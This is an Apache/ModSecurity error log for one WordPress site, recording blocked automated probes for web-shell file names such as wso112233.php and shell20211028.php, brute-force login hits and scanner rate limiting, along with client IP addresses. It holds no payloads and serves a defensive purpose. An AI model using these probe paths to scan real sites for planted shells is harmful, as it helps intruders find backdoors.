[Sat Dec 20 21:50:56.595232 2025] [:error] [pid 39577:tid 39601] [client 85.203.34.7:54627] [client 85.203.34.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php"] [unique_id "aUapwLviRnt1rJiSOfx7yAAAANY"]
[Sat Dec 20 21:50:58.972189 2025] [:error] [pid 33844:tid 33860] [client 85.203.34.42:48639] [client 85.203.34.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aUapwiaNtwGsyqqVmQEIfwAAAw4"]
[Sat Dec 20 21:51:00.891735 2025] [:error] [pid 33687:tid 33713] [client 85.203.34.33:46153] [client 85.203.34.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/index.php"] [unique_id "aUapxDYMR4qK1N4g7vjhcQAAAlc"]
[Sat Dec 20 21:51:01.565618 2025] [proxy_fcgi:error] [pid 33844:tid 33865] [client 85.203.34.32:61179] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:01.881637 2025] [proxy_fcgi:error] [pid 33844:tid 33861] [client 85.203.34.32:61179] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:02.236634 2025] [proxy_fcgi:error] [pid 33844:tid 33850] [client 85.203.34.32:61179] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:02.836615 2025] [proxy_fcgi:error] [pid 33844:tid 33870] [client 85.203.34.32:61179] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:03.188628 2025] [proxy_fcgi:error] [pid 33844:tid 33846] [client 85.203.34.32:61179] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:03.517088 2025] [proxy_fcgi:error] [pid 33844:tid 33861] [client 85.203.34.32:61179] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:03.817939 2025] [:error] [pid 33844:tid 33852] [client 85.203.34.32:61179] [client 85.203.34.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/index.php"] [unique_id "aUapxyaNtwGsyqqVmQEIuwAAAwY"]
[Sat Dec 20 21:51:04.424914 2025] [:error] [pid 14286:tid 14313] [client 85.203.34.50:62907] [client 85.203.34.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aUapyJ7rbXIrw6rGSdaZLQAAAVc"]
[Sat Dec 20 21:51:06.638446 2025] [:error] [pid 39493:tid 39560] [client 85.203.34.44:50357] [client 85.203.34.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aUapymhjL2VG_FmIHqAPNgAAAIs"]
[Sat Dec 20 21:51:07.527916 2025] [proxy_fcgi:error] [pid 14286:tid 14302] [client 85.203.34.3:46407] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:07.848615 2025] [proxy_fcgi:error] [pid 14286:tid 14309] [client 85.203.34.3:46407] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:08.147689 2025] [proxy_fcgi:error] [pid 14286:tid 14291] [client 85.203.34.3:46407] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:08.464712 2025] [proxy_fcgi:error] [pid 14286:tid 14304] [client 85.203.34.3:46407] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:08.797067 2025] [:error] [pid 14286:tid 14308] [client 85.203.34.3:46407] [client 85.203.34.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aUapzJ7rbXIrw6rGSdaZbwAAAVI"]
[Sat Dec 20 21:51:09.586430 2025] [:error] [pid 33749:tid 33765] [client 185.92.25.138:20189] [client 185.92.25.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aUapzdoInXJnb96wei-AwQAAAo4"]
[Sat Dec 20 21:51:10.140657 2025] [proxy_fcgi:error] [pid 14247:tid 14266] [client 85.203.34.27:36503] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:10.462633 2025] [proxy_fcgi:error] [pid 14247:tid 14263] [client 85.203.34.27:36503] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:10.761203 2025] [proxy_fcgi:error] [pid 14247:tid 14262] [client 85.203.34.27:36503] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:11.107618 2025] [proxy_fcgi:error] [pid 14247:tid 14257] [client 85.203.34.27:36503] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:11.396621 2025] [proxy_fcgi:error] [pid 14247:tid 14261] [client 85.203.34.27:36503] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:11.706866 2025] [proxy_fcgi:error] [pid 14247:tid 14272] [client 85.203.34.27:36503] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:12.008638 2025] [proxy_fcgi:error] [pid 14247:tid 14269] [client 85.203.34.27:36503] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:12.307599 2025] [proxy_fcgi:error] [pid 14247:tid 14262] [client 85.203.34.27:36503] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:12.606171 2025] [:error] [pid 14247:tid 14270] [client 85.203.34.27:36503] [client 85.203.34.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qinfofuns.php"] [unique_id "aUap0CDv9TtKKdJQn9kmsAAAARU"]
[Sat Dec 20 21:51:13.194621 2025] [proxy_fcgi:error] [pid 33749:tid 33771] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:13.519614 2025] [proxy_fcgi:error] [pid 33749:tid 33771] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:13.826603 2025] [proxy_fcgi:error] [pid 33749:tid 33765] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:14.122639 2025] [proxy_fcgi:error] [pid 33749:tid 33765] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:14.423612 2025] [proxy_fcgi:error] [pid 33749:tid 33770] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:14.722830 2025] [proxy_fcgi:error] [pid 33749:tid 33758] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:15.058628 2025] [proxy_fcgi:error] [pid 33749:tid 33771] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:15.367637 2025] [proxy_fcgi:error] [pid 33749:tid 33752] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:15.669673 2025] [proxy_fcgi:error] [pid 33749:tid 33762] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:15.968777 2025] [proxy_fcgi:error] [pid 33749:tid 33751] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:16.258624 2025] [proxy_fcgi:error] [pid 33749:tid 33767] [client 85.203.34.34:59977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:17.128603 2025] [proxy_fcgi:error] [pid 39493:tid 39556] [client 85.203.34.48:57281] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:17.466639 2025] [proxy_fcgi:error] [pid 39493:tid 39557] [client 85.203.34.48:57281] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:17.762705 2025] [proxy_fcgi:error] [pid 39493:tid 39555] [client 85.203.34.48:57281] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:18.129630 2025] [proxy_fcgi:error] [pid 39493:tid 39573] [client 85.203.34.48:57281] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:18.444605 2025] [proxy_fcgi:error] [pid 39493:tid 39570] [client 85.203.34.48:57281] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:18.764614 2025] [proxy_fcgi:error] [pid 39493:tid 39567] [client 85.203.34.48:57281] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:19.053275 2025] [:error] [pid 39493:tid 39572] [client 85.203.34.48:57281] [client 85.203.34.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aUap12hjL2VG_FmIHqAPygAAAJc"]
[Sat Dec 20 21:51:19.923918 2025] [proxy_fcgi:error] [pid 33844:tid 33861] [client 85.203.34.19:44939] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:20.211356 2025] [:error] [pid 33844:tid 33870] [client 85.203.34.19:44939] [client 85.203.34.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gh.php"] [unique_id "aUap2CaNtwGsyqqVmQEJLgAAAxg"]
[Sat Dec 20 21:51:20.801616 2025] [proxy_fcgi:error] [pid 33793:tid 33802] [client 85.203.34.34:53723] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:21.109660 2025] [proxy_fcgi:error] [pid 33793:tid 33813] [client 85.203.34.34:53723] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:21.425667 2025] [proxy_fcgi:error] [pid 33793:tid 33798] [client 85.203.34.34:53723] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:21.949612 2025] [proxy_fcgi:error] [pid 33793:tid 33816] [client 85.203.34.34:53723] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:22.269842 2025] [proxy_fcgi:error] [pid 33793:tid 33797] [client 85.203.34.34:53723] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:22.556608 2025] [proxy_fcgi:error] [pid 33793:tid 33800] [client 85.203.34.34:53723] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:22.935627 2025] [proxy_fcgi:error] [pid 33793:tid 33801] [client 85.203.34.34:53723] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:23.269085 2025] [proxy_fcgi:error] [pid 33793:tid 33811] [client 85.203.34.34:53723] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:23.565985 2025] [proxy_fcgi:error] [pid 33793:tid 33810] [client 85.203.34.34:53723] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:23.878836 2025] [:error] [pid 33793:tid 33798] [client 85.203.34.34:53723] [client 85.203.34.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "aUap21SicyB0BFmbRMzlpAAAAsM"]
[Sat Dec 20 21:51:25.373618 2025] [proxy_fcgi:error] [pid 14247:tid 14251] [client 85.203.34.32:47425] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:25.986603 2025] [proxy_fcgi:error] [pid 14247:tid 14273] [client 85.203.34.32:47425] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:28.486254 2025] [:error] [pid 14247:tid 14257] [client 85.203.34.32:47425] [client 85.203.34.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wso112233.php"] [unique_id "aUap4CDv9TtKKdJQn9knYQAAAQg"]
[Sat Dec 20 21:51:29.068347 2025] [:error] [pid 14247:tid 14257] [client 85.203.34.18:42161] [client 85.203.34.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aUap4SDv9TtKKdJQn9knbgAAAQg"]
[Sat Dec 20 21:51:29.696264 2025] [proxy_fcgi:error] [pid 33844:tid 33856] [client 85.203.34.1:55577] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:30.306136 2025] [:error] [pid 33844:tid 33848] [client 85.203.34.1:55577] [client 85.203.34.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/dropdown.php"] [unique_id "aUap4iaNtwGsyqqVmQEJewAAAwI"]
[Sat Dec 20 21:51:31.180313 2025] [:error] [pid 33687:tid 33694] [client 185.92.25.139:27251] [client 185.92.25.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/repeater.php"] [unique_id "aUap4zYMR4qK1N4g7vjiaAAAAkQ"]
[Sat Dec 20 21:51:32.726649 2025] [proxy_fcgi:error] [pid 14286:tid 14295] [client 85.203.34.48:35035] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:33.065603 2025] [proxy_fcgi:error] [pid 14286:tid 14290] [client 85.203.34.48:35035] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:33.673608 2025] [proxy_fcgi:error] [pid 14286:tid 14296] [client 85.203.34.48:35035] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:36.042074 2025] [:error] [pid 14286:tid 14296] [client 85.203.34.48:35035] [client 85.203.34.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "aUap6J7rbXIrw6rGSdaapAAAAUY"]
[Sat Dec 20 21:51:37.635919 2025] [:error] [pid 33570:tid 33590] [client 85.203.34.36:38763] [client 85.203.34.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aUap6YTNveA-c6YcSrIiTQAAAc4"]
[Sat Dec 20 21:51:38.246070 2025] [proxy_fcgi:error] [pid 33570:tid 33578] [client 85.203.34.29:26709] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:38.550933 2025] [:error] [pid 33570:tid 33576] [client 85.203.34.29:26709] [client 85.203.34.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/options.php"] [unique_id "aUap6oTNveA-c6YcSrIiVQAAAcA"]
[Sat Dec 20 21:51:39.135602 2025] [proxy_fcgi:error] [pid 33570:tid 33579] [client 185.92.25.138:39519] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:39.728426 2025] [:error] [pid 33570:tid 33598] [client 185.92.25.138:39519] [client 185.92.25.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/gzdecode.php"] [unique_id "aUap64TNveA-c6YcSrIiZAAAAdY"]
[Sat Dec 20 21:51:40.291989 2025] [:error] [pid 33793:tid 33818] [client 85.203.34.16:63261] [client 85.203.34.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-includes/atomlib.php"] [unique_id "aUap7FSicyB0BFmbRMzmWQAAAtc"]
[Sat Dec 20 21:51:41.188607 2025] [proxy_fcgi:error] [pid 33570:tid 33578] [client 85.203.34.14:55369] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:41.509154 2025] [:error] [pid 33570:tid 33593] [client 85.203.34.14:55369] [client 85.203.34.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.14, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/images/wp-login.php"] [unique_id "aUap7YTNveA-c6YcSrIigAAAAdE"]
[Sat Dec 20 21:51:41.841603 2025] [proxy_fcgi:error] [pid 33570:tid 33583] [client 85.203.34.14:55369] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:42.815608 2025] [:error] [pid 33570:tid 33597] [client 85.203.34.14:55369] [client 85.203.34.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/plupload/wp-login.php"] [unique_id "aUap7oTNveA-c6YcSrIikwAAAdU"]
[Sat Dec 20 21:51:44.450804 2025] [proxy_fcgi:error] [pid 39493:tid 39550] [client 85.203.34.5:48793] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:45.688383 2025] [:error] [pid 39493:tid 39558] [client 85.203.34.5:48793] [client 85.203.34.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "aUap8WhjL2VG_FmIHqAQ4gAAAIk"]
[Sat Dec 20 21:51:46.326602 2025] [:error] [pid 39577:tid 39580] [client 85.203.34.10:44123] [client 85.203.34.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "aUap8rviRnt1rJiSOfx-fwAAAME"]
[Sat Dec 20 21:51:46.936605 2025] [proxy_fcgi:error] [pid 33793:tid 33803] [client 85.203.34.5:27375] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:47.241328 2025] [:error] [pid 33793:tid 33818] [client 85.203.34.5:27375] [client 85.203.34.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.5, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aUap81SicyB0BFmbRMzmoQAAAtc"]
[Sat Dec 20 21:51:47.578869 2025] [proxy_fcgi:error] [pid 33793:tid 33814] [client 85.203.34.5:27375] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:47.856164 2025] [:error] [pid 33793:tid 33796] [client 85.203.34.5:27375] [client 85.203.34.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "aUap81SicyB0BFmbRMzmqgAAAsE"]
[Sat Dec 20 21:51:49.445616 2025] [proxy_fcgi:error] [pid 33687:tid 33700] [client 85.203.34.8:52621] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:49.748625 2025] [proxy_fcgi:error] [pid 33687:tid 33712] [client 85.203.34.8:52621] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:50.635495 2025] [:error] [pid 33687:tid 33705] [client 85.203.34.8:52621] [client 85.203.34.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/plugins.php"] [unique_id "aUap9jYMR4qK1N4g7vjjMAAAAk8"]
[Sat Dec 20 21:51:51.267653 2025] [proxy_fcgi:error] [pid 14286:tid 14290] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:51.911600 2025] [proxy_fcgi:error] [pid 14286:tid 14296] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:52.213600 2025] [proxy_fcgi:error] [pid 14286:tid 14295] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:52.532624 2025] [proxy_fcgi:error] [pid 14286:tid 14290] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:52.850624 2025] [proxy_fcgi:error] [pid 14286:tid 14300] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:53.179612 2025] [proxy_fcgi:error] [pid 14286:tid 14298] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:53.523727 2025] [proxy_fcgi:error] [pid 14286:tid 14295] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:53.830613 2025] [proxy_fcgi:error] [pid 14286:tid 14291] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:54.130639 2025] [proxy_fcgi:error] [pid 14286:tid 14298] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:54.422696 2025] [proxy_fcgi:error] [pid 14286:tid 14297] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:54.729619 2025] [proxy_fcgi:error] [pid 14286:tid 14305] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:55.042745 2025] [proxy_fcgi:error] [pid 14286:tid 14296] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:55.358629 2025] [proxy_fcgi:error] [pid 14286:tid 14295] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:55.655601 2025] [proxy_fcgi:error] [pid 14286:tid 14308] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:55.953684 2025] [proxy_fcgi:error] [pid 14286:tid 14296] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:56.257240 2025] [proxy_fcgi:error] [pid 14286:tid 14300] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:56.550630 2025] [proxy_fcgi:error] [pid 14286:tid 14290] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:56.869616 2025] [proxy_fcgi:error] [pid 14286:tid 14306] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:57.168662 2025] [proxy_fcgi:error] [pid 14286:tid 14300] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:57.491634 2025] [proxy_fcgi:error] [pid 14286:tid 14290] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:57.785598 2025] [proxy_fcgi:error] [pid 14286:tid 14312] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:58.099617 2025] [proxy_fcgi:error] [pid 14286:tid 14295] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:58.404709 2025] [proxy_fcgi:error] [pid 14286:tid 14292] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:58.732739 2025] [proxy_fcgi:error] [pid 14286:tid 14312] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:59.041723 2025] [proxy_fcgi:error] [pid 14286:tid 14296] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:51:59.345779 2025] [proxy_fcgi:error] [pid 14286:tid 14300] [client 85.203.34.30:61915] AH01071: Got error 'Primary script unknown'
